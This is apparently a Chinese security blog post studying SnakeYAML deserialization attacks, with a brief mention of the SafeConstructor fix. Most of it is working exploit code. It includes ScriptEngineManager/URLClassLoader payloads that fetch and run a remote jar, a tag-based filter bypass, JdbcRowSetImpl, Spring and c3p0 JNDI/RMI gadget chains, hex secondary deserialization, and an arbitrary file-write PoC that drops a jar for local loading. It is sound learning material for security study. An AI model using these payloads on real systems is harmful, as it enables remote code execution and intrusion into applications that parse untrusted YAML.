SnakeYaml反序列化

Yaml语法

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
key: value      (value前有空格)


key: 
    child-key: value
    child-key2: value2     
//缩进表层级关系


数组
hobby:
    - java
    - lol
    
//常量
int:
    - 123
    - 0b1010
String:
    - "hello"

环境依赖

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

序列化反序列化

  • Yaml.dump():将一个对象转化为yaml文件形式; //序列化
  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象; //反序列化
package snakeyaml;

public class User {
    int age;
    String name;
    public User(){
        System.out.println("构造");
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("setage");
    }

    public int getAge() {
        System.out.println("getage");
        return age;
    }

    public void setName(String name) {
        System.out.println("setname");
        this.name = name;
    }

    public String getName() {
        System.out.println("getname");
        return name;
    }
}


package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class test {
    public static void main(String[] args) {
        serialize();
        unserialize();
    }
    public static void serialize(){
        User user = new User();
        user.setName("zero");
        user.setAge(19);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }
    public static void unserialize(){
        String str1 = "!!snakeyaml.User {age: 19, name: zero}";
        String str2 = "age: 19\n" +
                "name: zero";
        Yaml yaml = new Yaml();
        yaml.load(str1);
        yaml.loadAs(str2, User.class);
    }

}
构造
setname
setage
getage
getname
!!snakeyaml.User {age: 19, name: zero}

构造
setage
setname
构造
setage
setname

强制类型转化!!相当于fastjson中的@type指定反序列化的类名

注意通过!!指定类名需要写全类名

loadloadAs都调用了对应的setter方法,而且loadAs可以直接指定参数值,不用再指定类

漏洞

String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://1q7ha5.dnslog.cn\"]]]]";
Yaml yaml = new Yaml();
yaml.load(context);

这个可以用来检测漏洞存在

具体脚本看github项目按照作者说的

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

要注意使用低版本jdk来编译java文件

String context = "!!javax.script.ScriptEngineManager [\n" +
        "  !!java.net.URLClassLoader [[\n" +
        "    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
        "  ]]\n" +
        "]";
Yaml yaml = new Yaml();
yaml.load(context);

SPI机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

image-20231105230925528

带上图应该就好理解了

总的来说,META-INF.services下的文件名是接口类,内容为接口类的实现类

程序会java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面

漏洞分析就算了,自己也不懂,就跟着别人试

有意思的是image-20231115171115110

image-20231115172353434

会把!!变为tag:yaml.org,2002:然后再拼接javax.script.ScriptEngineManager

所以当!!被禁用时,可以用tag:yaml.org,2002:进行绕过

!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource>

漏洞修复

加入new SafeConstructor()类进行过滤

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

public class snaketest {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }

}

漏洞利用

SnakeYAML反序列化及可利用Gadget | Y4tacker’s Blog

与fastjson类似,大多可以参考fastjson,但不能调用恶意类,因为fastjson调用恶意类调用的是getter

JdbcRowSetImpl

import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplTest {
    public static void main(String[] args) {
        String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

之前这里下了断点,然后执行下一步时突然调到这里(唉,根本不会调试)

重点就是setDataSourceNamesetAutoCommit

image-20231119215355544

image-20231119220236640

Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

import org.yaml.snakeyaml.Yaml;

public class PropertyPathFactoryBeanTest {
    public static void main(String[] args) {
        String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/aa\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/aa\"]}}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

c3p0

二次反序列化 Hex

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class yaml_with_c3p0 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
    
        InputStream in = new FileInputStream("D:\\CTF-tool\\java_unserialize\\calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);


        Yaml yaml = new Yaml();
        String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
                "userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
        yaml.load(str);

    }
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

jndi注入

package snakeyaml;

import org.yaml.snakeyaml.Yaml;

public class snakewithjndi {
    public static void main(String[] args) throws Exception {
        String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
                "jndiName: rmi://127.0.0.1:1099/exp2\n" +
                "loginTimeout: 0";
        Yaml yaml = new Yaml();
        yaml.load(str);
    }
}

任意文件写入

在fastjson1.2.68当中,存在一个任意文件写入的反序列化漏洞,并没有依赖fastjson的一些类,这些都是java自带的,那SnakeYaml也是可以用到的

cat yaml-payload.jar | openssl zlib | base64 -w 0
//直接生成
package Snake;

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
    public static void main(String [] args) throws Exception {
        String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar");
        Yaml yaml = new Yaml();
        yaml.load(poc);

    }


    public static String createPoC(String SrcPath,String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        try{
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater  { input: !!binary "+base64str+" },1048576]]";
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];

        Deflater compresser = new Deflater();

        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater  { input: !!binary base64str },1048576]]

结果替换input,生成jar包

最后URLClassLoader加载本地jar包

import org.yaml.snakeyaml.Yaml;

public class snaketest {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"file://yaml.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }

}

SnakeYaml反序列化
https://zer0peach.github.io/2023/11/05/SnakeYaml反序列化/
作者
Zer0peach
发布于
2023年11月5日
许可协议